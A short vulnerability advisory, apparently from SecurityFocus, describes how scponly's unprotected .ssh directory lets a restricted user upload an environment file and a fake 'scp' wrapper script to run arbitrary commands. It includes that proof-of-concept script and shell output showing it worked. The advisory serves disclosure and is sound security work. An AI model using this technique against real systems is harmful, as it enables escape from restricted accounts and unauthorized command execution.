source: https://www.securityfocus.com/bid/5526/info

scponly is a freely available, open source restricted secure copy client. It is available for Unix and Linux operating systems.

The default installation of scponly does not place sufficient access controls on the .ssh subdirectory. Due to this
oversight, it is possible for a remote user to upload files which may allow command execution. This could lead to
unintended command execution, and regular shell access to a vulnerable host.

For example, the user could scp the following to
$HOME/.ssh/environment:

# ssh environment
PATH=/home/myhomedir/:/usr/bin:/bin
#end

Subsequently, the user could upload the following file to their home
directory, and call it scp:

#!/bin/sh

echo "I'm a bad boy" > /tmp/exploit
/usr/bin/scp $@

# end

When they next scp a file:

[root@restricted /tmp]
# ls -l
total 24
-rw-r--r-- 1 bonehead bonehead 14 Aug 19 22:46 exploit
[root@restricted /tmp]
# cat exploit
I'm a bad boy